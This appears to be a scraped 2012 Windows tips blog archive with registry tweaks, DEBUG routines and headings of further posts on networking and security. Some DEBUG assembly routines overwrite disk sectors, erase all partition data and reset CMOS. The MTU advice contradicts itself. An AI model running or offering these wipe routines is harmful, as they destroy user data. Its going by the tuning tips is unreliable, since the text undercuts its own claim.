To Disable the Notification Area Balloon Tips

Warning: If you use Registry Editor incorrectly, you may cause serious problems that may require you to reinstall your operating system. Microsoft cannot guarantee that you can solve problems that result from using Registry Editor incorrectly. Use Registry Editor at your own risk.

1. Click Start, click Run, type regedit, and then press ENTER.

2. Navigate to the following subkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
3. Right-click the right pane, create a new DWORD value, and then name it EnableBalloonTips.
4. Double-click this new entry, and then give it a hexadecimal value of 0.
5. Quit Registry Editor. Log off Windows, and then log back on.

These steps disable all Notification Area balloon tips for this user. There is no way to disable balloon tips for specific programs only.

Create A Shortcut To Lock Your Computer

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Fri, 17 Feb 2012 23:15:00 +0000

Create A Shortcut To Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver.

To create a shortcut on your desktop to lock your computer:

Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation

Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll.

Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

Changing The MaxMTU For Faster Downloads

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Fri, 17 Feb 2012 23:10:00 +0000

Changing The MaxMTU For Faster Downloads

There are four Internet settings that can be configured, you can get greater throughput (faster Internet downloads) by modifying a few settings.

They are the MaxMTU, MaxMSS and DefaultRcvWindow, and DefaultTTL.
1. Open RegEdit.
2. Go to
HKEY_LOCAL_MACHINE\System\CurrentControlset\Services\Class\net\000x
(where x is your particular network adapter binding).

3. Right click on the right panel.
4. Select New\String Value and create the value name IPMTU.
5. Double click on it and enter then the number you want. The usual change is to 576.
6. Similarly, you can add IPMSS and give it a value of 536.
(Windows 9X)You can set DefaultRcvWindow, and DefaultTTL by adding these string values to HKEY_LOCAL_MACHINE\System\CurrentControlset\Services\VXD\MSTCP
7. Set the DefaultRcvWindow to"5840"and the DefaultTTL to "128"

Note: These settings will slow down your network access speed slightly, but you will probably not even see the difference if you are using a network card. If you are using Direct Cable you should see a sight difference.

Changing The Location Of Windows Installation Files

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Fri, 17 Feb 2012 23:02:00 +0000

Changing The Location Of Windows Installation Files

If you need to change the drive and or path where Windows looks for its installation files:

1. Open RegEdit.
2. Go to

HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Setup
3. Edit the value next to SourcePath.

Change DOS Color

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Fri, 17 Feb 2012 22:59:00 +0000

Change DOS Color

SYNTAX Sets the default console foreground and background colors.
COLOR [attr]

attr Specifies color attribute of console output

Color attributes are specified by TWO hex digits -- the first corresponds to the background; the second the foreground. Each digit can be any of the below values.

0 = Black
8 = Gray
1 = Blue
9 = Light Blue
2 = Green
A = Light Green
3 = Aqua
B = Light Aqua
4 = Red
C = Light Red
5 = Purple
D = Light Purple
6 = Yellow
E = Light Yellow
7 = White
F = Bright White
If no argument is given, this command restores the color to what it was when CMD.EXE started. This value either comes from the current console window, the /T command line switch or from the DefaultColor registry value. The COLOR command sets ERRORLEVEL to 1 if an attempt is made to execute the COLOR command with a foreground and background color that are the same.

Example:
Color 2A = Creates a green background with light bright green text, similar to many of the FTP, telnet, and old BBS console screens. Valid for a session only.

Clear CMOS - All Tricks

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Thu, 16 Feb 2012 22:55:00 +0000

Clear CMOS - All Tricks

Entering Debug:

Debug has been included in every version of MS-DOS as well as Windows. When running any of the debug routines it is recommended that if you have Windows that you exit or shut down to get into a real DOS prompt (unless you're running Windows ME, Windows 2000, Windows XP, or later versions).

Once at the MS- DOS prompt, run through the below example, this example is perfectly fine to run on any PC Computer running MS-DOS / Windows and will not harm anything. Type debug and press enter. This should get you to a - (small dash). This is the debug prompt. At the - type d40:00 and press enter; this will return several lines of information. After the feedback you will be back to the debug prompt. To exit out of debug type q and press enter. This will return you back to the MS-DOS prompt.

In some of the below debug routines you will notice that a "g" is typed, then "q". G tells the computer that the code type is not self executing and must be run at this point. If completed, the program will return Program Terminated Normally which indicates you can now quit from the debug program.
Testing Ports:

The below debug routine will check the ports of the computer to allow you to know if ports are being detected or not. Type debug to get to the "-" Type D40:0
You should get several lines; however, the first line is the only important line, which should read the following:

0040:0000 F8 03 F8 02 E8 03 E8 02 - 78 03 78 02 BC 03
F8 03
F8 02
E8 03
E8 02

78 03
78 02
BC 03
COM1
COM2
COM3
COM4

LPT1
LPT2
LPT3

The above graph shows you what the feed back means as far as port, so if you see F8 03, this would be an indication that COM1 is being detected; if you see 00 00, this is an indication that it is not being detected, which could mean that hardware is bad or that it is disabled in CMOS Once you have finished looking at the information, type Q and press enter to get out of Debug. Clear CMOS:

The below debug routine will clear CMOS, BIOS, Passwords, Settings, Viruses, and other items residing in the CMOS. During this process you may get returned characters which are an indication that the string has gone in, if you by chance get ERROR ensure that you have typed the line in correctly, if not retype. Ensure that you do not skip any lines, that it is ALL typed in correctly to help prevent problems. Before running this Debug routine also ensure that you have read the above disclaimer. After typing debug you will get "-" which is were you can begin by typing A and pressing enter. A

MOV AX,0
MOV AX,CX
OUT 70,AL
MOV AX,0
OUT 71,AL
INC CX
CMP CX,100
JB 103
INT 20

Note:
Nothing is typed on this line G By pressing G this will execute the above script, ensure you have read and agree to the above disclaimer. Q Then reboot and you will get a Setup Checksum Error. Go into setup; correct all the incorrect values, time, date...

Joystick Test:

This test will test to see if your Joystick is present or not. Type debug from the DOS prompt once at the "-". Type i201 if you get a FF response attempt hold one of the main buttons on your joystick, and while holding the button down type i201 and see if a different response is given, each button on the joystick should return a different response. However, some special joysticks, such as the Microsoft Sidewinder, which has more than 4-5 buttons, may not return a response for all extra buttons because these buttons are generally controlled through software. If a FF is still given on each of the buttons on the game paddle or joystick, it is a good possibility that either the Joystick and or the Joystick port is bad. If possible, attempt these steps with another known working joystick. However, if you are receiving different responses when pressing and holding the keys on the joystick, the computer hardware is working properly. Type q and press enter to quit out of debug.

Erasing Sector 2:

Before doing the below routine ensure that you have read our disclaimer and that you're sure that this is safe to do on your hard drive. Some computer hard drive manufacturers may void your warranty if this routine is run or in some situations this can cause damage to the hard drive. This routine is useful in clearing DDO and unknown partitions. If this routine completes successfully it will erase everything in Sector 2. In the below debug routine, only type what is in bold from line 3 to 9, you will get a response if typed in properly. If you get a response continue to type the bold text as shown below in the below example.

A:\>debug
-FCS:200 400 0
-ACS:100
-xxxx:0100 mov ax,302
-xxxx:0103 mov bx,200
-xxxx:0106 mov cx,2
-xxxx:0109 mov dx, 80
-xxxx:010a int 13
-xxxx:010c int 20
-xxxx:0110 (without typing anything)
-g
Program terminated normally.
-q

Erase All HDD Information:

This debug routine is used to erase all partition information on the hard disk drive and is only recommend for experienced users or users who are unable to delete the partition information through fdisk. In the below debug routine, only type what is in bold from line 3 to 8, you will get a response if typed in properly. If you get a response continue to type the bold text as shown below in the below example.

A:\>debug
-F 200 L1000 0
-A CS:100
xxxx:0100 MOV AX,301
xxxx:0103 MOV BX,200
xxxx:0106 MOV CX,1
xxxx:0109 MOV DX,80 (80 for hd 0 or 81 for hd 1 ) xxxx:010C INT 13
xxxx:010E INT 20
xxxx:0110
-g
Program terminated normally
-q

Once this debug routine is complete, reboot computer and all partitions should be erased. Before anything can be installed back onto the computer you must run Fdisk and recreate the partition as well as format the hard disk drive.

Erase HDD & Clear CMOS:

Before doing the below routine ensure that you read our disclaimer as well as are sure that this is safe to do on your hard drive. Some computer hard drive manufacturers may void your warranty or this may cause damage to the hard drive when doing the below example. This routine is useful in clearing DDO and removing possible viruses. If this routine completes successfully it will erase everything from your Hard Drive as well as your reset your CMOS values. In the below debug routine, only type what is in bold from line 3 to 17, you will get a response if typed in properly. If you get a response continue to type the bold text as shown below in the below example.

A:\>debug
-fcs:200 400 0
-acs:100
-xxxx:0100 mov ax, 0
-xxxx:0103 mov ax, cx
-xxxx:0105 out 70, al
-xxxx:0107 mov ax, 0
-xxxx:010a out 71,al
-xxxx:010c inc cx
-xxxx:010d cmp cx,100
-xxxx:0111 jb 103
-xxxx:0113 mov ax,302
-xxxx:0116 mov bx,200
-xxxx:0119 mov cx,1
-xxxx:011c mov dx,80
-xxxx:011f int 13
-xxxx:012l int 20
-xxxx:0123 (without typing anything.)
-g program terminated normally

If you are doing this debug routine to clear out a possible virus turn off your computer and wait and turn back on.

-q

Once back at DOS, reboot your computer When your computer comes back on from doing the above you will get an error message as booting up the computer, such as "Invalid Configuration". You must enter CMOS and set the time and date, save, and reboot again. Once rebooted, you will then need to run fdisk and recreate the partitions. Once created, you will then need to format the hard drive and proceed as normal. Discharge Old Laptop Batteries:

The below debug routine is used for older laptop batteries (i.e. batteries made from 1990-1992), we do not recommend using this routine on any newer laptop batteries or any NiMH batteries N DPDISCHG.COM
A
MOV DX,01E8
MOV AL,F9
OUT DX,AL
INT 20

RCX
10
W
Q This will write dpdischg.com to the current directory. To run this utility type dpdischg.
Reboot Your Computer:

Implement this debug routine to reboot your computer. DEBUG E 40:72 34 12
RCS
FFFF
RIP
0000
G To create a batch file that reboots your computer without having to type the above command each time, use the below example.
GOTO BEGIN

E 40:72 34 12
RCS
FFFF
RIP
0000
G

:BEGIN
DEBUG < REBOOT.BAT
CREATE A SLEEP FILE

This file allows your computer to sleep for a specified amount of time. This file is not dangerous in any way; if typed improperly,
more than likely the file will just not work. Type Debug You should get a "-" begin typing the below information; after each line
you may get a response, do not press enter and type the next line after the response. N SLEEP.COM
A 100
MOV SI,0082
MOV AX,[SI]
XCHG AH,AL
XOR AX,3030
MOV BL,AL
MOV AL,0A
MUL AH
ADD AX,BX
MOV SI,AX
MOV AH,2C
INT 21
MOV BL,DH
MOV AX,SI
AAM
OR AX,3030
XCHG AH,AL
MOV [0160],AX
MOV AH,09
MOV DX,0160
INT 21
MOV AH,06
MOV DL,FF
INT 21
JZ 014C
OR AL,AL
JNZ 013F
MOV AH,08
INT 21
MOV AL,FF
MOV DX,016C
PUSH AX
MOV AH,09
INT 21
POP AX
MOV AH,4C
INT 21
MOV AH,2C
INT 21
CMP BL,DH
JZ 012D
MOV BL,DH
DEC SI
JNZ 011A
SUB AL,AL
MOV DX,016C
JMP 0142
DB "XX SECONDS", D, 24
DB " ", D, A, 24 RCX
79
W
Q

Tip: You may cut and paste the above test into a notepad document and save the file with a *.scr extension. Once saved from DOS, type debug < name of scrSLEEP.COM. Which should create the file; should be created

Check BIOS Date:

The below debug routine is to check the date of your BIOS. All BIOS dates on PC compatible computers is stored at memory address FFFF5h. To display the date of your BIOS do the following: At the C:\> type debug - d FFFF:5 L 8 After typing the above command you should receive a string similar to: FFFF:0000 30 34 2F-33 30 2F 39 38 4/30/98 The 4/30/98 would be the date of your computer BIOS.

Video Card Type:

The below debug routine will list the type of video card within your computer. This is an excellent way of determining the chipset on the card or the card within your computer without opening the computer. At the C:\> type debug -d c000:0040 After typing the above command you should receive several lines of text similar to:

C000:0040

00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
C000:0050

E9
63
7B
00
B4
10
49
27
-
E9
FE
2B
E9
F7
2B
50
4D

.c{...I'..+..+PM
C000:0060

49
44
58
00
5B
00
00
00
-
00
A0
00
B0
00
B8
00
C0

IDX.[...........
C000:0070

00
5B
53
54
42
20
6E
56
-
49
44
49
41
20
54
4E
54

.[STB nVIDIA TNT
C000:0080

20
76
65
72
2E
20
31
2E
-
31
30
20
0D
0A
00
1B
43

ver. 1.10 ....C
C000:0090

6F
70
79
72
69
67
68
74
-
28
43
29
31
39
39
38
20

copyright(C)1998
C000:00A0

53
54
42
20
53
79
73
74
-
65
6D
73
20
49
6E
63
0D

STB Systems Inc.
C000:00B0

0A
00
22
6C
2C
0A
01
00
-
C3
50
24
7F
E8
60
36
58

.."1,....P$..'6X

As you can pick out in the above dump, this gives you enough information to determine the make and the year made on the video card. On line 4 you can see the make of this video card, which in this case is an nVIDIA TNT which would be the Riva TNT chipset. The next line you notice the version of the card and finally the line thereafter is the copyright or the year manufactured, generally. If you are unable to capture any information which sounds like the video card, you can also type -d c000:0090.

Braniac Bhai

How to update windows 10 to windows 11

Table of Contents

How do I get Windows 11?

Do I need to pay for it?

What does my PC need to be “supported”?

How can I tell if my PC is supported?

How do I get into my PC’s BIOS?

How do I enable my TPM?

How do I enable Secure Boot?

OK, what if my PC is unsupported?

Installing on a PC with Secure Boot and any kind of TPM

Installing on a PC without Secure Boot or a TPM

Installing on a PC without a 64-bit CPU

What are the risks of running Windows 11 on an unsupported PC?

Should I go through with an unsupported install anyway?

7 Things You Didn’t Know VLC Could Do

7 Things You Didn’t Know VLC Could Do

1. Rip DVDs:

2. Record videos:

3. Play RAR files:

4. Play in ASCII mode:

5. Listen to online radio:

6. Convert Audio and Video formats:

7. Download YouTube and other online videos:

How to Create a New Folder using Windows Keyboard Shortcut Keys

Tips for Maintaining Your Laptop

Tips for Maintaining Your Laptop

Talking Mobile Dictionary

How To Hack Windows XP Admin Password

Lock Any Folder Using DOS

Kill Yahoo Chat Room Ads

How to Configure Extended Access List On Router

Configure Extended Access Lists

Well-Known Port Numbers and IP Protocols

Three basic steps to configure Extended Access List

Block host to host

Block host to network

Network to Network Access List

Network to host

Application based Extended Access list

The established keyword

Stop ping but can access web server

Grant FTP access to limited user

Grant Telnet access to limited user

How to Configure Standard Access List On Router

Standard Access Lists

Three basic steps to configure Standard Access List

Match specific hosts

OR

Match an entire subnet

Wildcards

Match an IP range

Match Everyone and Anyone

Secure telnet session via standard ACL

Access Control List Standard Extended

Access Control List

Universal fact about Access control list

Access List Ranges

Standard ACLs

Extended ACLs:

Named ACLs

Configuration Guidelines

Placement of ACLs

Network Security Mitigating Common Threats

Network Security Mitigating Common Threats

Physical Installations

Hardware threats

Electrical threats

Environmental threats

Maintenance threats

Cisco's IOS Firewall

Intrusion detection

ICMP inspection

Authentication proxy

Per-user firewalls

Denial of service (DoS) detection and prevention

Network Security Types of Attack Reconnaissance Attack

Reconnaissance Attacks

Access Attacks